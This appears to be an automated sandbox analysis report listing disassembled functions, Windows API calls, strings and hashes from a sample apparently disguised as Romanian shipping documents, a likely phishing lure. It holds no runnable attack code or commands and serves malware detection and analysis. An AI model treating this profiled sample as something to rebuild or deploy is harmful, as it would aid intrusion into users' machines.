                                                  • Part of subcall function 00D6D7DE: GetWindowRect.USER32(?,?), ref: 00D6D87D
                                                  • Part of subcall function 00D6D7DE: PtInRect.USER32(?,?,00D6ED5A), ref: 00D6D88D
                                                • SendMessageW.USER32(?,000000B0,?,?), ref: 00D6F3E3
                                                • DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00D6F3EE
                                                • DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00D6F411
                                                • _wcscat.LIBCMT ref: 00D6F441
                                                • SendMessageW.USER32(?,000000C2,00000001,?), ref: 00D6F458
                                                • SendMessageW.USER32(?,000000B0,?,?), ref: 00D6F471
                                                • SendMessageW.USER32(?,000000B1,?,?), ref: 00D6F488
                                                • SendMessageW.USER32(?,000000B1,?,?), ref: 00D6F4AA
                                                • DragFinish.SHELL32(?), ref: 00D6F4B1
                                                • DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00D6F59C
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
                                                • String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
                                                • API String ID: 169749273-3440237614
                                                • Opcode ID: 792655e0d7bd5eb7eddee43a9a5cf0aa485979162ed7e001eb9fc2aaec4bb244
                                                • Instruction ID: 007d9b88cb171283d03d2e3d64a0bb28d71c6d7951f329d74da9f5f954a51710
                                                • Opcode Fuzzy Hash: 792655e0d7bd5eb7eddee43a9a5cf0aa485979162ed7e001eb9fc2aaec4bb244
                                                • Instruction Fuzzy Hash: 65612AB1108305AFC311EF64DC45EABBBF9EB89714F000A1EF595922E1DB719A19CB72
                                                Function 00D4AAF8 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 374timeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • VariantInit.OLEAUT32(00000000), ref: 00D4AB3D
                                                • VariantCopy.OLEAUT32(?,?), ref: 00D4AB46
                                                • VariantClear.OLEAUT32(?), ref: 00D4AB52
                                                • VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 00D4AC40
                                                • __swprintf.LIBCMT ref: 00D4AC70
                                                • VarR8FromDec.OLEAUT32(?,?), ref: 00D4AC9C
                                                • VariantInit.OLEAUT32(?), ref: 00D4AD4D
                                                • SysFreeString.OLEAUT32(00000016), ref: 00D4ADDF
                                                • VariantClear.OLEAUT32(?), ref: 00D4AE35
                                                • VariantClear.OLEAUT32(?), ref: 00D4AE44
                                                • VariantInit.OLEAUT32(00000000), ref: 00D4AE80
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem__swprintf
                                                • String ID: %4d%02d%02d%02d%02d%02d$Default
                                                • API String ID: 3730832054-3931177956
                                                • Opcode ID: 99bf0eb4fc33e035e9c53ff56fddc503b76b86a3e69274d356c398713f696caf
                                                • Instruction ID: cd939b49602a62df42f579287566292ba3dc409b6590e104f5447d2773a8d931
                                                • Opcode Fuzzy Hash: 99bf0eb4fc33e035e9c53ff56fddc503b76b86a3e69274d356c398713f696caf
                                                • Instruction Fuzzy Hash: 08D1EE71A84215EBDB209F69D884BAEB7B6FF04700F188465F4459B281DB74EC81DBB3
                                                Function 00D6716A Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 244windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CharUpperBuffW.USER32(?,?), ref: 00D671FC
                                                • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00D67247
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: BuffCharMessageSendUpper
                                                • String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
                                                • API String ID: 3974292440-4258414348
                                                • Opcode ID: 6ab31543e5f015277cb463b81b568b5f3b0229d6fc0bde71fb3b7ec166bef744
                                                • Instruction ID: 69e6260e1e0d1390ba827cceb70c902c2a077da5add4e213dfb1dc90e8d543b0
                                                • Opcode Fuzzy Hash: 6ab31543e5f015277cb463b81b568b5f3b0229d6fc0bde71fb3b7ec166bef744
                                                • Instruction Fuzzy Hash: 89913C742046059BCB04EF10C851AAEB7A2EF54314F14585DF89A6B3A3DF31ED4ACBB1
                                                Function 00D6E4F5 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 199windowlibraryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00D6E5AB
                                                • LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,00000001,?,?,?,00D69808,?), ref: 00D6E607
                                                • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00D6E647
                                                • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00D6E68C
                                                • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00D6E6C3
                                                • FreeLibrary.KERNEL32(?,00000004,?,?,?,00D69808,?), ref: 00D6E6CF
                                                • ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00D6E6DF
                                                • DestroyIcon.USER32(?), ref: 00D6E6EE
                                                • SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00D6E70B
                                                • SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00D6E717
                                                  • Part of subcall function 00D20FA7: __wcsicmp_l.LIBCMT ref: 00D21030
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFree__wcsicmp_l
                                                • String ID: .dll$.exe$.icl
                                                • API String ID: 1212759294-1154884017
                                                • Opcode ID: e2ae5a11f71197f92f51fcb9984f3a8f94acb8092655604733693fdb09184d79
                                                • Instruction ID: 7fa2e3dab46463ca88a08d26dc85f16411426c5b5923c5fb3aa5ab2a7e5ca07b
                                                • Opcode Fuzzy Hash: e2ae5a11f71197f92f51fcb9984f3a8f94acb8092655604733693fdb09184d79
                                                • Instruction Fuzzy Hash: 1261AEB1540215BBEB24DFA4DC46FBE7BA8FB18724F104505F916D61D1EB709980CBB0
                                                Function 00D4D219 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D0936C: __swprintf.LIBCMT ref: 00D093AB
                                                  • Part of subcall function 00D0936C: __itow.LIBCMT ref: 00D093DF
                                                • CharLowerBuffW.USER32(?,?), ref: 00D4D292
                                                • GetDriveTypeW.KERNEL32 ref: 00D4D2DF
                                                • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00D4D327
                                                • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00D4D35E
                                                • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00D4D38C
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: SendString$BuffCharDriveLowerType__itow__swprintf
                                                • String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
                                                • API String ID: 1148790751-4113822522
                                                • Opcode ID: d0583078135f09ea3bec1e0a571189bb26e9f02e84196d727f1b05d94f66f858
                                                • Instruction ID: 6ad0ad38e24b33a61d79423c7ff38ca918fec55dc8f6d8f384011cbb1fa75fb7
                                                • Opcode Fuzzy Hash: d0583078135f09ea3bec1e0a571189bb26e9f02e84196d727f1b05d94f66f858
                                                • Instruction Fuzzy Hash: 3F513C71104305AFC700EF10D8919AEB7E9EF98758F14495DF89A67291DB31EE09CBB2
                                                Function 00D426BC Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 137windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000016,00000000,?,?,00D73973,00000016,0000138C,00000016,?,00000016,00D9DDB4,00000000,?), ref: 00D426F1
                                                • LoadStringW.USER32(00000000,?,00D73973,00000016), ref: 00D426FA
                                                • GetModuleHandleW.KERNEL32(00000000,00000016,?,00000FFF,?,?,00D73973,00000016,0000138C,00000016,?,00000016,00D9DDB4,00000000,?,00000016), ref: 00D4271C
                                                • LoadStringW.USER32(00000000,?,00D73973,00000016), ref: 00D4271F
                                                • __swprintf.LIBCMT ref: 00D4276F
                                                • __swprintf.LIBCMT ref: 00D42780
                                                • _wprintf.LIBCMT ref: 00D42829
                                                • MessageBoxW.USER32(00000000,?,?,00011010), ref: 00D42840
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: HandleLoadModuleString__swprintf$Message_wprintf
                                                • String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
                                                • API String ID: 618562835-2268648507
                                                • Opcode ID: 23c238caeda4b407675cc552f45dc44242caad07efcf4256696440f748525799
                                                • Instruction ID: 8269064e701f8bf28b1ad1d1690a5aecc2ae575a479fd6f9817f4945092147c9
                                                • Opcode Fuzzy Hash: 23c238caeda4b407675cc552f45dc44242caad07efcf4256696440f748525799
                                                • Instruction Fuzzy Hash: F2412972800219ABCB14FBE0DD96EEFB778EF58340F500165B506B21D2EA606F19DBB1
                                                Function 00D4D0B8 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 101fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00D4D0D8
                                                • __swprintf.LIBCMT ref: 00D4D0FA
                                                • CreateDirectoryW.KERNEL32(?,00000000), ref: 00D4D137
                                                • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00D4D15C
                                                • _memset.LIBCMT ref: 00D4D17B
                                                • _wcsncpy.LIBCMT ref: 00D4D1B7
                                                • DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00D4D1EC
                                                • CloseHandle.KERNEL32(00000000), ref: 00D4D1F7
                                                • RemoveDirectoryW.KERNEL32(?), ref: 00D4D200
                                                • CloseHandle.KERNEL32(00000000), ref: 00D4D20A
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
                                                • String ID: :$\$\??\%s
                                                • API String ID: 2733774712-3457252023
                                                • Opcode ID: 42245b6b072d5354b3e322fd1914e05edfd564f0880e093fa37938456c0f83a1
                                                • Instruction ID: b9d1b7c2d13c0d263d4c0663c84598a45783d806d509ae824017cca93d3059d3
                                                • Opcode Fuzzy Hash: 42245b6b072d5354b3e322fd1914e05edfd564f0880e093fa37938456c0f83a1
                                                • Instruction Fuzzy Hash: 0431A1B2510219ABDB21DFA0DC49FEB77BEEF89700F1040B6F909D21A1E77096448B34
                                                Function 00D387CD Relevance: 22.7, APIs: 15, Instructions: 210COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _free$__malloc_crt__recalloc_crt_strlen$EnvironmentVariable___wtomb_environ__calloc_crt__getptd_noexit__invoke_watson_copy_environ
                                                • String ID:
                                                • API String ID: 884005220-0
                                                • Opcode ID: 700d1cf1a9e121266a0f5779b512ac4a0c16ba4ddffab99be50cf38e33faa3c7
                                                • Instruction ID: 447c94fe29f8b650a4adf61c006aa8464e7429cbd19b4e53d002a3c61954133e
                                                • Opcode Fuzzy Hash: 700d1cf1a9e121266a0f5779b512ac4a0c16ba4ddffab99be50cf38e33faa3c7
                                                • Instruction Fuzzy Hash: 7561CE72904322EFDB216F64EC41B797BA4EB60325F684125F842EA281DF35D940ABB5
                                                Function 00D6E731 Relevance: 22.6, APIs: 15, Instructions: 129filecommemoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,00000000,?), ref: 00D6E754
                                                • GetFileSize.KERNEL32(00000000,00000000), ref: 00D6E76B
                                                • GlobalAlloc.KERNEL32(00000002,00000000), ref: 00D6E776
                                                • CloseHandle.KERNEL32(00000000), ref: 00D6E783
                                                • GlobalLock.KERNEL32(00000000), ref: 00D6E78C
                                                • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00D6E79B
                                                • GlobalUnlock.KERNEL32(00000000), ref: 00D6E7A4
                                                • CloseHandle.KERNEL32(00000000), ref: 00D6E7AB
                                                • CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 00D6E7BC
                                                • OleLoadPicture.OLEAUT32(?,00000000,00000000,00D8D9BC,?), ref: 00D6E7D5
                                                • GlobalFree.KERNEL32(00000000), ref: 00D6E7E5
                                                • GetObjectW.GDI32(?,00000018,000000FF), ref: 00D6E809
                                                • CopyImage.USER32(?,00000000,?,?,00002000), ref: 00D6E834
                                                • DeleteObject.GDI32(00000000), ref: 00D6E85C
                                                • SendMessageW.USER32(?,00000172,00000000,00000000), ref: 00D6E872
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
                                                • String ID:
                                                • API String ID: 3840717409-0
                                                • Opcode ID: 7267bdf1bf12c5aa8463d6628b6d2975b39bc789f686f409644056979009c5cc
                                                • Instruction ID: ae95e79c5df4bad9313b6dd39fbe382e35cafff1d199d1e1c836a403306753e3
                                                • Opcode Fuzzy Hash: 7267bdf1bf12c5aa8463d6628b6d2975b39bc789f686f409644056979009c5cc
                                                • Instruction Fuzzy Hash: C5410575600308BFDB119F65DC88EAA7BBAEF89725F148058F906D72E0D731A941DB70
                                                Function 00D505F8 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 230COMMON
                                                Download Yara Rule
                                                APIs
                                                • __wsplitpath.LIBCMT ref: 00D5076F
                                                • _wcscat.LIBCMT ref: 00D50787
                                                • _wcscat.LIBCMT ref: 00D50799
                                                • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00D507AE
                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 00D507C2
                                                • GetFileAttributesW.KERNEL32(?), ref: 00D507DA
                                                • SetFileAttributesW.KERNEL32(?,00000000), ref: 00D507F4
                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 00D50806
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CurrentDirectory$AttributesFile_wcscat$__wsplitpath
                                                • String ID: *.*
                                                • API String ID: 34673085-438819550
                                                • Opcode ID: 34895180dec993976d50d37aed9dcd8bd697282eddc556eac8d68029c8c08db1
                                                • Instruction ID: fcc6792a84b770c22dd024df10f80cff3d1f4663dca28931b20b239ec943ff4d
                                                • Opcode Fuzzy Hash: 34895180dec993976d50d37aed9dcd8bd697282eddc556eac8d68029c8c08db1
                                                • Instruction Fuzzy Hash: F18170715043019FCF24EF24C84596EBBE9FB98305F18882EFD89D7251EA30D9588BB2
                                                Function 00D6EEEB Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D1B34E: GetWindowLongW.USER32(?,000000EB), ref: 00D1B35F
                                                • PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00D6EF3B
                                                • GetFocus.USER32 ref: 00D6EF4B
                                                • GetDlgCtrlID.USER32(00000000), ref: 00D6EF56
                                                • _memset.LIBCMT ref: 00D6F081
                                                • GetMenuItemInfoW.USER32 ref: 00D6F0AC
                                                • GetMenuItemCount.USER32(00000000), ref: 00D6F0CC
                                                • GetMenuItemID.USER32(?,00000000), ref: 00D6F0DF
                                                • GetMenuItemInfoW.USER32(00000000,-00000001,00000001,?), ref: 00D6F113
                                                • GetMenuItemInfoW.USER32(00000000,?,00000001,?), ref: 00D6F15B
                                                • CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00D6F193
                                                • DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 00D6F1C8
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
                                                • String ID: 0
                                                • API String ID: 1296962147-4108050209
                                                • Opcode ID: 22a466dfade87b72610372c473141dc5563f3baba51a240690b765d85d9c1448
                                                • Instruction ID: 7210eff482430be2ae37c150e1cffe6d9be8c18c541c3a069e341de551ea4683
                                                • Opcode Fuzzy Hash: 22a466dfade87b72610372c473141dc5563f3baba51a240690b765d85d9c1448
                                                • Instruction Fuzzy Hash: 25819975208312AFD720CF14E884A6BBBE9FF89354F04492EF99897291D734D905CBB2
                                                Function 00D3A867 Relevance: 21.2, APIs: 14, Instructions: 178memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D3ABBB: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 00D3ABD7
                                                  • Part of subcall function 00D3ABBB: GetLastError.KERNEL32(?,00D3A69F,?,?,?), ref: 00D3ABE1
                                                  • Part of subcall function 00D3ABBB: GetProcessHeap.KERNEL32(00000008,?,?,00D3A69F,?,?,?), ref: 00D3ABF0
                                                  • Part of subcall function 00D3ABBB: HeapAlloc.KERNEL32(00000000,?,00D3A69F,?,?,?), ref: 00D3ABF7
                                                  • Part of subcall function 00D3ABBB: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 00D3AC0E
                                                  • Part of subcall function 00D3AC56: GetProcessHeap.KERNEL32(00000008,00D3A6B5,00000000,00000000,?,00D3A6B5,?), ref: 00D3AC62
                                                  • Part of subcall function 00D3AC56: HeapAlloc.KERNEL32(00000000,?,00D3A6B5,?), ref: 00D3AC69
                                                  • Part of subcall function 00D3AC56: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00D3A6B5,?), ref: 00D3AC7A
                                                • GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00D3A8CB
                                                • _memset.LIBCMT ref: 00D3A8E0
                                                • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00D3A8FF
                                                • GetLengthSid.ADVAPI32(?), ref: 00D3A910
                                                • GetAce.ADVAPI32(?,00000000,?), ref: 00D3A94D
                                                • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00D3A969
                                                • GetLengthSid.ADVAPI32(?), ref: 00D3A986
                                                • GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00D3A995
                                                • HeapAlloc.KERNEL32(00000000), ref: 00D3A99C
                                                • GetLengthSid.ADVAPI32(?,00000008,?), ref: 00D3A9BD
                                                • CopySid.ADVAPI32(00000000), ref: 00D3A9C4
                                                • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00D3A9F5
                                                • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00D3AA1B
                                                • SetUserObjectSecurity.USER32(?,00000004,?), ref: 00D3AA2F
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
                                                • String ID:
                                                • API String ID: 3996160137-0
                                                • Opcode ID: e405b79cdab8f0dc98871c836af8328698736b2037621ced879483df351f0a80
                                                • Instruction ID: 5e70a868a7b2d38a14bee9cb02c3cd515a8ad81e8b3fa734740ee26ff0a53247
                                                • Opcode Fuzzy Hash: e405b79cdab8f0dc98871c836af8328698736b2037621ced879483df351f0a80
                                                • Instruction Fuzzy Hash: BE511BB1A00209AFDF10DF99DD85EEEBBBAFF04310F148119E955EA290DB359A05CB71
                                                Function 00D59DC1 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 159windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetDC.USER32(00000000), ref: 00D59E36
                                                • CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 00D59E42
                                                • CreateCompatibleDC.GDI32(?), ref: 00D59E4E
                                                • SelectObject.GDI32(00000000,?), ref: 00D59E5B
